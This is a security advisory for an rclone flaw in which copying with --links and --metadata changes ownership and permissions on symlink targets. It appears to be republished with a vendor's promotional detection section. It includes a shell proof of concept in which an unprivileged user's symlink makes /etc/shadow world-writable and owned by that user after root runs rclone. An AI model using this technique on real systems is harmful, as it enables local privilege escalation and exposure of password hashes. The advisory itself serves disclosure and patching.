GHSA-hrxh-9w67-g4cv
MEDIUMRclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/rclone/rcloneReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
tl;dr:
unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links and --metadata). unprivileged user now owns /etc/sudoers.
Summary
Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.
For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.
Who is affected
If you are not using --metadata and --links and copying files to the local backend you are not affected by this issue.
If you are using --metadata and -links and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.
If you are using --metadata and -links and copying files to the local backend but as a superuser then this could affect you.
Details
When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.
PoC
# Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1
# As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link
# List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root root 1283 Nov 5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow
# Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil>
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: md5 = 2fe8599cb25a0c790213d39b3be97c27 OK
2024/11/05 13:56:53 INFO : user1/shadow_link.rclonelink: Copied (new)
2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for checks to finish
2024/11/05 13:56:53 DEBUG : Local file system at /tmp/home_new: Waiting for transfers to finish
2024/11/05 13:56:53 INFO : user1: Updated directory metadata
2024/11/05 13:56:53 INFO :
Transferred: 11 B / 11 B, 100%, 0 B/s, ETA -
Transferred: 1 / 1, 100%
Elapsed time: 0.0s
2024/11/05 13:56:53 DEBUG : 6 go routines active
# List permissions again
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow /tmp/home_new/user1/shadow_link
-rwxrwxrwx. 1 user1 user1 1283 Nov 5 13:30 /etc/shadow # Wrong, very wrong. Should be root:root and 0000.
lrwxrwxrwx. 1 root root 11 Nov 5 13:56 /tmp/home_new/user1/shadow_link -> /etc/shadow # Wrong too, should be user1:user1
lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow
# Fix /etc/shadow and clean up
root@workstation:~# chown root:root /etc/shadow
root@workstation:~# chmod 000 /etc/shadow
root@workstation:~# rm -rf /tmp/home /tmp/home_new
Impact
Type of Vulnerability: Improper permissions and ownership handling on symlink targets (Insecure Handling of Symlinks)
Impact: This vulnerability allows unprivileged users to modify permissions and ownership of sensitive system files by creating symlinks to those files in directories that are subsequently copied by an administrator with rclone --links --metadata. This can lead to unauthorized access, privilege escalation, and potential system compromise.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/rclone/rclone | ≥ 1.59.0&&< 1.68.2 | 1.68.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/rclone/rclone. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/rclone/rclone to 1.68.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hrxh-9w67-g4cv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hrxh-9w67-g4cv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hrxh-9w67-g4cv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hrxh-9w67-g4cv in your dependencies?
O3 detects GHSA-hrxh-9w67-g4cv across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.